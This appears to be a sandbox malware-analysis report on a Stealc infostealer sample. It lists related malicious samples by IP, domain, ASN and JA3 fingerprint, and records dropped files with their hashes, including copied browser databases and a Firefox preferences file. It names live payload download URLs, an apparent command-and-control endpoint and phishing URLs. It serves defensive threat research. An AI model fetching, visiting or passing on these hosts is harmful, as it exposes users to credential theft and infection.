	x8AH98H0eQ.exe	Get hash	malicious	Stealc	Browse	176.113.115.37/ScreenUpdateSync.exe
	x8AH98H0eQ.exe	Get hash	malicious	Unknown	Browse	176.113.115.37/ScreenUpdateSync.exe
	zGHItMC5Zc.exe	Get hash	malicious	Stealc	Browse	176.113.115.37/ScreenUpdateSync.exe
	ozcAR7VO6Y.exe	Get hash	malicious	Stealc	Browse	176.113.115.37/ScreenUpdateSync.exe
	9gBcr7l7jT.exe	Get hash	malicious	Stealc	Browse	176.113.115.37/ScreenUpdateSync.exe
	Zbls3lMGhD.exe	Get hash	malicious	Stealc	Browse	176.113.115.37/ScreenUpdateSync.exe
172.67.179.207	XOr3Kqyo9n.exe	Get hash	malicious	Stealc	Browse
	0r9PL33C8E.exe	Get hash	malicious	Stealc	Browse
	Pw2KHOL9Z8.exe	Get hash	malicious	Stealc	Browse
	o3QbCA4xLs.exe	Get hash	malicious	Stealc, Vidar	Browse
	XhYAqi0wi5.exe	Get hash	malicious	Stealc	Browse
	Uviv7rEtnt.exe	Get hash	malicious	Stealc, Vidar	Browse
	GK059kPZ5B.exe	Get hash	malicious	Stealc	Browse
	w12rykWq2L.exe	Get hash	malicious	Stealc	Browse
	sgM0Akbldk.exe	Get hash	malicious	Stealc	Browse
	CHHE6LLjWx.exe	Get hash	malicious	Stealc, Vidar	Browse
92.255.57.88	X4roU7TtF1.exe	Get hash	malicious	Stealc	Browse	92.255.57.88/7bbacc20a3bd2eb5.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
post-to-me.com	XOr3Kqyo9n.exe	Get hash	malicious	Stealc	Browse	172.67.179.207
	0r9PL33C8E.exe	Get hash	malicious	Stealc	Browse	172.67.179.207
	Pw2KHOL9Z8.exe	Get hash	malicious	Stealc	Browse	172.67.179.207
	Tg3sk2wywR.exe	Get hash	malicious	Stealc	Browse	104.21.56.70
	x8AH98H0eQ.exe	Get hash	malicious	Stealc	Browse	104.21.56.70
	x8AH98H0eQ.exe	Get hash	malicious	Unknown	Browse	104.21.56.70
	zGHItMC5Zc.exe	Get hash	malicious	Stealc	Browse	104.21.56.70
	ozcAR7VO6Y.exe	Get hash	malicious	Stealc	Browse	104.21.56.70
	9gBcr7l7jT.exe	Get hash	malicious	Stealc	Browse	104.21.56.70
	Zbls3lMGhD.exe	Get hash	malicious	Stealc	Browse	104.21.56.70

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SELECTELRU	file.exe	Get hash	malicious	Unknown	Browse	176.113.115.177
	qlI3ReINCV.exe	Get hash	malicious	Stealc, Vidar	Browse	176.113.115.215
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	176.113.115.203
	XOr3Kqyo9n.exe	Get hash	malicious	Stealc	Browse	176.113.115.37
	0r9PL33C8E.exe	Get hash	malicious	Stealc	Browse	176.113.115.37
	Pw2KHOL9Z8.exe	Get hash	malicious	Stealc	Browse	176.113.115.37
	Tg3sk2wywR.exe	Get hash	malicious	Stealc	Browse	176.113.115.37
	x8AH98H0eQ.exe	Get hash	malicious	Stealc	Browse	176.113.115.37
	x8AH98H0eQ.exe	Get hash	malicious	Unknown	Browse	176.113.115.37
	zGHItMC5Zc.exe	Get hash	malicious	Stealc	Browse	176.113.115.37
TELSPRU	X4roU7TtF1.exe	Get hash	malicious	Stealc	Browse	92.255.57.88
	Ldr-2.dll	Get hash	malicious	Unknown	Browse	92.255.57.46
	https://drugfreesport.info/lqb4s	Get hash	malicious	Phisher	Browse	92.255.57.46
	Setup.msi	Get hash	malicious	Unknown	Browse	92.255.57.46
	https://iop360.net/jsg2n	Get hash	malicious	Unknown	Browse	92.255.57.104
	tHvjY1G08Y.exe	Get hash	malicious	Cookie Stealer RedLine SmokeLoader Socelars Zealer Stealer onlyLogger	Browse	92.255.57.249
	68My8p1DpC.xls	Get hash	malicious	Hidden Macro 4.0	Browse	92.255.57.195
	68My8p1DpC.xls	Get hash	malicious	Hidden Macro 4.0	Browse	92.255.57.195
	malware.xls	Get hash	malicious	Hidden Macro 4.0	Browse	92.255.57.195
	malware.xls	Get hash	malicious	Hidden Macro 4.0	Browse	92.255.57.195
CLOUDFLARENETUS	https://kkinternational.co.uk/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.187.240
	fbot.m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	8.44.60.26
	6wjCYfcM3a.exe	Get hash	malicious	LummaC	Browse	172.67.160.80
	https://shorturl.at/ZbKEL?REVd=Vhx6ZLBnjMm	Get hash	malicious	Unknown	Browse	104.26.8.129
	https://avidgroup.famislnc.com/fvcvfxfec/cc6d843dfd/?1f9da=amtsZW1wQGNhcmlzbHMuY29t	Get hash	malicious	Unknown	Browse	172.67.69.226
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, DarkTortilla, LummaC Stealer, Stealc, Vidar	Browse	104.21.7.169
	file.exe	Get hash	malicious	Unknown	Browse	104.21.7.169
	file.exe	Get hash	malicious	Unknown	Browse	172.67.187.240
	https://Saic.anastaclooverseas.com/zwfgemvfcbcitui/xivyvjldaquzs/Zgktmgjdfgpirwe89g0xmaersk/ixiswwcbzmfgee/jebqtppyunp/random.bby/inpoxqhfiww/gmail.com/ozwunijponqp8	Get hash	malicious	Unknown	Browse	104.21.71.35

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://kkinternational.co.uk/	Get hash	malicious	HTMLPhisher	Browse	52.149.20.212 13.107.246.63 20.190.181.4 23.218.208.109
	https://zxptech.com	Get hash	malicious	Unknown	Browse	52.149.20.212 13.107.246.63 20.190.181.4 23.218.208.109
	https://shorturl.at/ZbKEL?REVd=Vhx6ZLBnjMm	Get hash	malicious	Unknown	Browse	52.149.20.212 13.107.246.63 20.190.181.4 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, DarkTortilla, LummaC Stealer, Stealc, Vidar	Browse	52.149.20.212 13.107.246.63 20.190.181.4 23.218.208.109
	https://Saic.anastaclooverseas.com/zwfgemvfcbcitui/xivyvjldaquzs/Zgktmgjdfgpirwe89g0xmaersk/ixiswwcbzmfgee/jebqtppyunp/random.bby/inpoxqhfiww/gmail.com/ozwunijponqp8	Get hash	malicious	Unknown	Browse	52.149.20.212 13.107.246.63 20.190.181.4 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	52.149.20.212 13.107.246.63 20.190.181.4 23.218.208.109
	Fumari INC.eml	Get hash	malicious	Unknown	Browse	52.149.20.212 13.107.246.63 20.190.181.4 23.218.208.109
	https://invites-doc.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	52.149.20.212 13.107.246.63 20.190.181.4 23.218.208.109
	Fumari INC.eml	Get hash	malicious	Unknown	Browse	52.149.20.212 13.107.246.63 20.190.181.4 23.218.208.109
	Customer forms.pdf	Get hash	malicious	Unknown	Browse	52.149.20.212 13.107.246.63 20.190.181.4 23.218.208.109
37f463bf4616ecd445d4a1937da06e19	INV-0542.pdf.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	172.67.179.207
	MSM8C42iAN.exe	Get hash	malicious	DarkCloud	Browse	172.67.179.207
	November Quotation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.67.179.207
	PO_203-25.exe	Get hash	malicious	Remcos, GuLoader	Browse	172.67.179.207
	wMy37vlfvz.exe	Get hash	malicious	DarkCloud	Browse	172.67.179.207
	WNIOSEK BUD#U017bETOWY 25-11-2024#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	172.67.179.207
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.67.179.207
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.67.179.207
	412300061474#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	172.67.179.207
	order requirements CIF-TRC809910645210.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.179.207

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, DarkTortilla, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BAKFBKEHDBGHJJKFIEGDBKKFID

Download File

Process:	C:\Users\user\AppData\Local\Temp\795F.tmp.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BFBGHDGCFHIDBGDGIIIE

Download File

Process:	C:\Users\user\AppData\Local\Temp\795F.tmp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBGCGDBK

Download File

Process:	C:\Users\user\AppData\Local\Temp\795F.tmp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DVWHKMNFNN.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\795F.tmp.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694985340190863
Encrypted:	false
SSDEEP:	24:fGg1AbmVALQm72DOg+8XDQzjmyhdsENw8TRlrlGpKTkA+oBK:fv1AiVAUmyDruzj37sENjlSKAA+oU
MD5:	C9386BC43BF8FA274422EB8AC6BAE1A9
SHA1:	2CBDE59ADA19F0389A4C482667EC370D68F51049
SHA-256:	F0CC9B94627F910F2A6307D911B1DDD7D1DB69BAD6068EF3331549F3A0877446
SHA-512:	7AACA07E8A4B34E0F75B16B6F30686AC3FB2D5CBDAD92E5934819F969BAFF59385FB8F997334313EA5938FD955D6175C4548D6B1F915D652D9D9201C9418EF83
Malicious:	false
Preview:	DVWHKMNFNNSXRPFRFSVVCQPXSKWHKPJJHYQWYYFONAJQSCOHZADBHUOWOSPDVAOIQVOBHGMIENZQZLABYDKWXGSUQNSEINIQSVMZZWTJLYMGYBQHIJSUWZKJPGBZUGFOXNAMLQTVGWDCYDMNHGVRTUWNHIWXJNQONTAXVVVCFDLWYDVWNMKHRFTZAVEQPXZHSEXPEHWUHPJZDMDXPYEJBYWZOQETVPLRKQRCYTAXMNRBOUJSCYZOUPOBJUWFDMUYFBXCBLZHFHONIURELJQVLWAJRIQCHHASBUAREPSIMJIZDUKJCHMMSSWSEDFHFQOUVYZORWJIUACXUVQKUMLXTQIKDBVNZOHJYYECOBYPNRILKERBHKZPVUSQLHAQRTPWCRMZADYONIIOVUWOBVHAUGZVAGTZTZBMHSOOQORENTXCJFMVWMGLOOXBDWANXXJQQTBDTWOSPFMFVQKLNTSHOPQMHYRYZMWDXVFGWFOSCSFMKCDDHTOQHBTQAFQTXPUHHEAKYRCQIODCCSHRSAJQEFRHCQLQVVMUHWOHHQJPSHCNKRLIRESUXLZIYSWDHHYZVRKLAGFLVTEJQHEEMVUUEQKQMTBDXFGSROZTNPLCVTEEZGUUCQUEKNMQFATATJRARXQQMZYEVACDAXILYPEHYTJOQWSFAJEGHIDIXMKDXPATNSATPECIMRBZNBXXVMGPLMVEKCUOXJWFGQSTWPMTEMRCYGXECVTNKYROYRYTPRDPCFGGKUUBXXSDFZEJCQRIRFLCNMPMLIGUCYPHMWYVAIPAAPHTQAYFSJWLSCZICIXZHXNKAKRHJVENGZTUTVWSNYDDYMWQHHAITLUZXNORBLYTBVCEBWBMSVZXNZMKYFPRFPLFCUSJUWNKQJIZRVZASPVFSUSBYQZZWKEORBDDRCYRBTIMTLHDTZRQUKYJIWHXVJYPEZSDLWZVPZGEYQPCSGGVJXXBUCNBXKQPZTMTVPZUETYYLRJEDWIHAZMS

C:\ProgramData\EGHCBKKKFHCGCBFIJEHD

Download File

Process:	C:\Users\user\AppData\Local\Temp\795F.tmp.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\HIIIECAA

Download File

Process:	C:\Users\user\AppData\Local\Temp\795F.tmp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJEGHJECFCFCBFIDBGCG

Download File

Process:	C:\Users\user\AppData\Local\Temp\795F.tmp.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KEGDBFIJKEBGIDGDHCGCAFHJKK

Download File

Process:	C:\Users\user\AppData\Local\Temp\795F.tmp.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_795F.tmp.exe_4c36602123b780a5103e2c77d8eee33836dd2d2b_fe89adb8_9645d9f8-bb8d-41c5-92e4-e861ebd515e8\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0623698903895966
Encrypted:	false
SSDEEP:	384:EtrmlYQxSDpTFZK4qWjl1vzuiFvY4IO82r+:9lYdDpTFZK4qWjvzuiFvY4IO82r
MD5:	6F2B6BCACFCF94DDF059E17EE34385C6
SHA1:	32316AE1AEA9120A397D66029B610A06DA3011DE
SHA-256:	D91DF0022150FC38029AAA5AF422EE8E723B1C8C3D230A13A0BFA96349CBB66F
SHA-512:	528F03B8BD99C5480D689BFE6083844E8C638C5A9FA51753EF9781AE42B56E35F2FCA637E42A1A25EC48F9A059BD1FBA05CB1B511923395FE15B4AB477F36387
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.7.0.4.9.6.7.2.1.5.0.1.4.6.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.7.0.4.9.6.7.2.6.9.7.0.3.3.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.6.4.5.d.9.f.8.-.b.b.8.d.-.4.1.c.5.-.9.2.e.4.-.e.8.6.1.e.b.d.5.1.5.e.8.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.8.2.b.e.b.8.5.-.9.0.e.c.-.4.7.4.1.-.8.5.9.9.-.f.d.8.2.f.3.d.1.1.d.2.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.7.9.5.F...t.m.p...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.e.0.4.-.0.0.0.1.-.0.0.1.4.-.8.7.6.0.-.c.c.c.7.8.e.3.f.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.c.2.a.f.9.9.c.0.3.f.0.1.f.0.f.a.a.c.8.6.d.1.6.9.9.b.6.5.2.0.7.a.0.0.0.0.f.f.f.f.!.0.0.0.0.d.4.f.2.a.9.5.a.5.e.3.7.a.2.a.f.9.a.1.2.3.6.7.d.2.c.2.a.1.9.3.8.e.3.c.a.7.c.5.5.!.7.9.5.F...t.m.p...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD9DF.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Nov 25 23:07:52 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	142834
Entropy (8bit):	2.0117636510856607
Encrypted:	false
SSDEEP:	768:OMbypc7lgEQnJPpTPjs4HAmvq996BpPeAPEAU:OM09B7js4HAmvUOPeAPNU
MD5:	26B1804C676A8115747598B29967E503
SHA1:	4039E31A71224342DC3AD2234635CBA41471F2CC
SHA-256:	CAC9E6825F9B1AEC2ABCEC8ACC362A171213A1E76F8A118AF00863735E65D989
SHA-512:	7A248DA164233F91F72D2E3ED16D98E30DDBD394646680DAE30A4B944F5DEBACB7FA23FA5B426F2596C0446D5D337A860FE6BD0F98B7A6AEDBD8C35B5F86DFF9
Malicious:	false
Preview:	MDMP..a..... .......H.Eg.........................................P..........T.......8...........T...........x[..z............$...........&..............................................................................eJ......\|'......GenuineIntel............T...........(.Eg.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDB28.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8324
Entropy (8bit):	3.694756184747162
Encrypted:	false
SSDEEP:	192:R6l7wVeJ6d46v6YR863gmfIPolhpDM89b5eJsfcDkm:R6lXJ6i6v6Ya63gmfIPolt5eifIR
MD5:	6AF4A889040D503478C2B125A7FA3D45
SHA1:	08E4071EC3AB4C0E292F932DEDF7D4717507577E
SHA-256:	D13E3598364601D8ACA9043BF96EB459A0B41DBAAA76E8F71E5DB00A56ADC1EF
SHA-512:	479259C21BA13F50BE71B840BC2B5C65B457FF9C8B2805AA498284A51C0D828616874B13CA651EF7915AC9AA320954609A633836344E002881D9ACABD6A4ACD7
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.6.8.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDB67.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4565
Entropy (8bit):	4.4414536642671845
Encrypted:	false
SSDEEP:	48:cvIwWl8zsnJg77aI9JOWpW8VY8Ym8M4JKxZuFL9+q8bZ+BFHaApoeTd:uIjfJI7Pv7VsJd9XIApoGd
MD5:	3B2A0407B533ED4B36D5AC67ED9050EE
SHA1:	9CD5EF43E24FE40080A67B483387991BCF31BFF6
SHA-256:	31AE3B394FD9644A988CD9024DFEEF07C632F80D6D1DF354DF41FC2AEE8D7295
SHA-512:	D30810A3072C022D0AA40C72857B9CCDCEEB12DD8AC60777F95D3146BC3D59063AB3F35DEEA36095351D6728A1C1F87AF9DE8E2773BFE7860343906C2585ACF7
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="604210" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\795F.tmp.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
